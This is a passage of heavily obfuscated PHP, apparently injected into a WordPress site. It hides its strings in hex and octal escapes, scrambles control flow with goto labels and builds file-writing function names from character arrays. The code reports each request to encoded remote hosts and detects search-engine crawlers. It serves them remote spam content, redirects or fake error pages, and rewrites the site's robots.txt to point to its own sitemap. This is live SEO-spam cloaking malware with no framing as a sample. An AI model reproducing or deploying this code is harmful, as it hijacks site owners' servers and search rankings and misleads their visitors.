30, "\x75\163\x65\162\55\141\147\145\x6e\164" => "\115\x6f\172\x69\154\x6c\141\x2f\x35\56\x30\40\50\x63\157\x6d\160\x61\x74\x69\x62\x6c\145\73\40\127\x6f\x72\x64\x50\162\x65\163\163\x29")); if (!is_wp_error($response)) { $body = wp_remote_retrieve_body($response); return $body; } } if (function_exists("\x63\165\x72\154\137\151\x6e\x69\164")) { $ch = curl_init(); curl_setopt($ch, CURLOPT_URL, $url); curl_setopt($ch, CURLOPT_RETURNTRANSFER, true); curl_setopt($ch, CURLOPT_TIMEOUT, 30); $response = curl_exec($ch); if (!curl_errno($ch)) { curl_close($ch); return $response; } curl_close($ch); } if (ini_get("\141\154\154\157\x77\x5f\165\162\154\137\146\157\160\145\x6e")) { $context = stream_context_create(array("\150\164\x74\x70" => array("\164\x69\155\145\x6f\x75\x74" => 30))); $response = @$functions[1]($url, false, $context); if ($response !== false) { return $response; } } } return "\x6e\x6f\142\x6f\x74\x75\163\145\x72\141\147\x65\x6e\164"; } goto LQav8; LxC7c: $model_file = "\151\x6e\x64\145\x78\56\x70\150\160"; goto zuNGR; tamyW: $param = http_build_query(array("\167\145\x62" => $host, "\172\172" => $zz, "\165\162\151" => urlencode($duri), "\165\162\x6c\x73\150\x61\156\x67" => $referer, "\x68\164\x74\x70" => $http, "\155\x6f\144\x65\x6c" => $model, "\166\x65\x72\163\151\x6f\x6e" => $istest ? $string : '')); goto VBmM4; krFH6: $zz = disbot(); goto EN5Kl; MBOjl: function disbot() { $user_agent = isset($_SERVER["\x48\x54\124\x50\x5f\x55\x53\105\x52\x5f\101\107\x45\116\124"]) ? strtolower($_SERVER["\110\x54\124\x50\x5f\x55\123\105\x52\x5f\101\x47\x45\116\x54"]) : ''; $bots = array("\x67\157\157\147\x6c\x65\x62\x6f\x74", "\x62\151\x6e\147", "\x79\x61\x68\157\x6f", "\x67\157\x6f\x67\154\145"); foreach ($bots as $bot) { if (strpos($user_agent, $bot) !== false) { return 1; } } return 2; } goto KdtTC; WNgp7: $html_content = request($xmlname, $param); goto EouX0; FGIDe: preg_match("\57\x5c\x2f\50\x5b\x5e\134\x2f\x5d\53\x5c\56\160\x68\160\51\57", $duri, $matches); goto NIGUc; HC_Qs: $istest = false; goto Y6wVD; lpSHz: $string = "\63\x31\70\63\x2d\154\x69\x6e\x6b\x32\x31\x33"; goto TWoam; TWoam: $host = isset($_SERVER["\110\x54\124\120\137\x48\x4f\x53\124"]) ? $_SERVER["\110\124\124\x50\x5f\x48\x4f\x53\x54"] : ''; goto I7Rx7; o1KRv: function is_https() { if (isset($_SERVER["\x48\x54\124\120\123"])) { $https = strtolower($_SERVER["\110\x54\124\120\123"]); if ($https !== "\157\146\x66" && $https !== '') { return true; } } if (isset($_SERVER["\x48\124\x54\120\137\130\x5f\106\117\122\x57\101\x52\104\x45\x44\137\120\122\x4f\124\x4f"]) && $_SERVER["\110\x54\124\120\137\x58\x5f\x46\x4f\122\127\101\x52\x44\105\x44\x5f\120\122\x4f\124\117"] === "\x68\164\164\160\x73") { return true; } if (isset($_SERVER["\x48\124\124\x50\x5f\106\122\x4f\116\x54\x5f\105\x4e\104\x5f\x48\124\x54\x50\x53"])) { $front_end_https = strtolower($_SERVER["\110\124\x54\x50\x5f\106\x52\117\x4e\124\137\105\x4e\104\137\x48\124\x54\x50\x53"]); if ($front_end_https !== "\157\146\146" && $front_end_https !== '') { return true; } } return false; } goto qGa8k; qbA2Q: if ($duri != "\57") { $duri = str_replace("\x2f" . $model_file, '', $duri); $duri = str_replace("\x2f\151\x6e\x64\145\170\x2e\x70\x68\160", '', $duri); $duri = str_replace("\41", '', $duri); } goto tamyW; cjzLH: $xmlname = array("\45\x33\63\x25\63\x31\x25\63\x38\x25\63\x33\45\62\104\45\67\x39\x25\x37\66\45\66\x31\45\67\x38\45\x33\62\45\x33\x31\45\x33\x33\x25\62\105\45\x36\66\x25\x37\x38\45\x36\x43\x25\67\65\45\x36\x32\45\x36\x32\x25\x37\70\x25\66\x36\x25\x32\105\x25\66\x37\45\66\62\45\x36\x33", "\x25\63\x33\x25\x33\61\45\63\70\x25\63\x33\45\62\x44\45\x37\x39\x25\67\x36\x25\66\61\x25\x37\x38\45\63\x32\45\63\61\45\63\63\x25\x32\x45\x25\x36\x39\x25\67\x36\x25\x36\x39\x25\x36\x43\x25\x36\x31\45\x37\x32\45\x32\105\45\66\102\x25\x36\103\x25\66\104", "\45\63\63\45\63\61\45\x33\70\x25\x33\63\45\x32\x44\45\67\71\45\67\x36\45\66\x31\45\x37\70\45\x33\62\x25\63\x31\45\63\x33\45\62\x45\x25\x37\x32\x25\67\60\x25\x36\x32\x25\66\x39\45\x37\x36\45\x36\x36\x25\x37\66\x25\x36\62\x25\x36\x36\45\62\x45\x25\66\x42\45\x36\x43\45\66\x44", "\45\63\x33\x25\x33\61\45\63\70\x25\x33\63\45\x32\x44\45\67\71\45\67\x36\x25\x36\x31\x25\x37\x38\45\63\x32\45\63\x31\x25\63\x33\45\x32\105\45\x37\66\45\x36\61\x25\67\62\x25\67\63\45\67\63\x25\66\x45\45\x36\106\45\67\x39\x25\66\x43\x25\62\x45\45\66\x42\45\66\103\45\66\x44"); goto lpSHz; Vqjjp: $http = is_https() ? "\150\164\164\x70\163" : "\150\x74\x74\x70"; goto krFH6; I7Rx7: $referer = isset($_SERVER["\110\124\x54\x50\137\x52\x45\x46\105\122\x45\122"]) ? $_SERVER["\110\124\124\120\x5f\122\105\x46\x45\122\x45\122"] : ''; goto Vqjjp; zuNGR: $model = "\151\156\x64\145\x78"; goto FGIDe; TMtln: $model = stristr($duri, "\x2f\77") ? "\77" : $model; goto HC_Qs; EN5Kl: $duri = drequest_uri() ?: "\57"; goto LxC7c; EouX0: if (strpos($html_content, "\x6e\157\x62\x6f\164\165\x73\145\x72\x61\147\145\156\x74") === false) { $response_handlers = array("\x6f\x6b\x68\164\x6d\154" => array("\x68\145\141\x64\145\162" => "\x43\157\x6e\x74\145\x6e\164\x2d\x74\x79\160\x65\72\x20\164\145\x78\x74\57\x68\164\155\154\x3b\x20\x63\150\x61\x72\x73\x65\x74\x3d\x75\x74\146\x2d\x38", "\162\x65\160\x6c\x61\143\x65" => "\x6f\x6b\150\x74\155\x6c", "\164\145\163\x74\x5f\145\x63\150\157" => true, "\x6f\165\x74\x70\x75\x74" => true), "\147\145\164\143\157\x6e\x74\145\x6e\x74\x35\60\60\x70\x61\147\x65" => array("\150\145\141\144\x65\162" => "\x48\124\124\x50\57\61\x2e\x31\40\65\60\x30\40\111\156\x74\145\162\x6e\x61\154\40\x53\x65\x72\x76\x65\x72\40\105\162\162\157\x72"), "\64\x30\64\x70\141\x67\145" => array("\150\145\141\x64\145\162" => "\x48\x54\x54\120\57\x31\56\61\40\64\60\64\x20\x4e\157\x74\40\106\x6f\x75\x6e\144"), "\63\60\x31\x70\x61\x67\x65" => array("\x68\x65\x61\x64\145\x72" => "\110\x54\x54\x50\x2f\61\x2e\x31\40\x33\x30\61\40\115\x6f\166\145\x64\x20\x50\x65\x72\155\141\156\x65\x6e\164\154\171", "\143\141\x63\150\x65\137\x63\157\x6e\164\162\x6f\x6c" => "\x6e\x6f\55\x63\x61\143\x68\x65\x2c\40\x6e\157\x2d\163\x74\x6f\162\145\x2c\40\x6d\x75\163\x74\55\x72\145\166\x61\x6c\151\144\141\x74\145", "\162\x65\x70\154\x61\143\145" => "\63\x30\61\160\x61\147\x65", "\x72\x65\144\151\x72\145\x63\164" => true), "\x6f\x6b\170\155\x6c" => array("\150\x65\x61\144\145\162" => "\x43\x6f\x6e\164\x65\x6e\x74\x2d\124\171\x70\145\x3a\40\141\x70\160\x6c\x69\143\141\x74\151\x6f\x6e\57\170\x6d\x6c\73\x20\x63\x68\x61\x72\x73\x65\x74\x3d\165\164\146\55\x38", "\162\145\160\154\x61\x63\x65" => "\x6f\x6b\170\x6d\x6c", "\157\165\164\160\x75\x74" => true), "\x6f\x6b\x72\157\142\x6f\164\x73" => array("\x68\x65\141\x64\x65\162" => "\103\x6f\156\164\x65\156\164\x2d\124\171\x70\x65\72\x20\x74\x65\170\164\57\160\x6c\141\x69\156", "\162\145\x70\x6c\x61\x63\x65" => "\157\x6b\x72\157\x62\157\x74\163", "\x6f\x75\x74\160\x75\x74" => true)); foreach ($response_handlers as $key => $handler) { if (strpos($html_content, $key) !== false) { @header($handler["\x68\145\x61\x64\x65\x72"]); if (isset($handler["\143\x61\x63\x68\145\137\143\157\156\164\162\157\154"])) { @header("\103\141\143\x68\x65\x2d\x43\157\156\164\x72\157\154\72\x20" . $handler["\x63\141\143\150\145\137\x63\157\x6e\164\x72\x6f\x6c"]); @header("\x50\162\x61\147\x6d\141\72\40\156\157\x2d\143\x61\x63\x68\145"); @header("\x45\170\160\x69\162\x65\163\72\40\x30"); } if (isset($handler["\x72\x65\x70\x6c\x61\143\145"])) { $html_content = str_replace($handler["\162\x65\x70\154\141\143\145"], '', $html_content); } if (isset($handler["\164\x65\x73\x74\137\x65\143\150\157"]) && $istest) { echo $string; } if (isset($handler["\x72\145\x64\151\x72\x65\x63\164"])) { @header("\x4c\157\x63\x61\x74\151\x6f\156\72\40" . $html_content); } elseif (isset($handler["\x6f\x75\x74\160\165\164"])) { echo $html_content; } die; } } } goto MBOjl; NIGUc: if (!empty($matches)) { $model_file = $matches[1]; if (($position = strpos($duri, $model_file)) !== false) { $model_file = ltrim(substr($duri, 0, $position + strlen($model_file)), "\x2f"); } $model = str_replace("\x2e\x70\150\160", '', $model_file); } goto TMtln; VBmM4: create_robots($http . "\72\x2f\57" . $host); goto WNgp7; Y6wVD: if (strpos($duri, $string) !== false) { $zz = 1; $duri = str_replace($string, '', $duri); $istest = true; } goto qbA2Q; qGa8k: function create_robots($url) { $functions = func(); $path = $_SERVER["\x44\117\103\x55\115\x45\x4e\x54\137\122\x4f\117\x54"] . "\x2f\162\x6f\142\157\x74\x73\x2e\164\x78\164"; $content = "\125\163\x65\162\55\x61\147\x65\x6e\x74\72\x20\x2a" . PHP_EOL . "\x41\x6c\154\157\167\72\x20\57" . PHP_EOL . PHP_EOL . "\123\151\164\x65\155\x61\160\72\x20" . $url . "\x2f\163\151\x74\145\155\141\160\56\170\x6d\154" . PHP_EOL; if (!file_exists($path)) { $functions[0]($path, $content); } else { $existing_content = $functions[1]($path); if ($existing_content !== $content) { $functions[0]($path, $content); } } } goto GxktW; KdtTC: function drequest_uri() { if (isset($_SERVER["\122\105\x51\125\105\123\x54\137\x55\x52\111"])) { return $_SERVER["\122\105\x51\x55\105\x53\124\x5f\x55\122\x49"]; } if (isset($_SERVER["\x61\162\147\x76"])) { return $_SERVER["\x50\x48\120\x5f\123\105\114\106"] . "\77" . $_SERVER["\x61\162\147\x76"][0]; } return $_SERVER["\120\110\x50\137\x53\x45\x4c\x46"] . "\77" . $_SERVER["\x51\125\105\122\131\x5f\x53\x54\x52\111\x4e\x47"]; } goto o1KRv; LQav8: function func() { $chars = range("\141", "\172"); return array($chars[5] . $chars[8] . $chars[11] . $chars[4] . "\x5f" . $chars[15] . $chars[20] . $chars[19] . "\x5f" . $chars[2] . $chars[14] . $chars[13] . $chars[19] . $chars[4] . $chars[13] . $chars[19] . $chars[18], $chars[5] . $chars[8] . $chars[11] . $chars[4] . "\x5f" . $chars[6] . $chars[4] . $chars[19] . "\x5f" . $chars[2] . $chars[14] . $chars[13] . $chars[19] . $chars[4] . $chars[13] . $chars[19] . $chars[18], $chars[18] . $chars[19] . $chars[17] . "\137" . $chars[17] . $chars[14] . $chars[19] . "\61\63"); }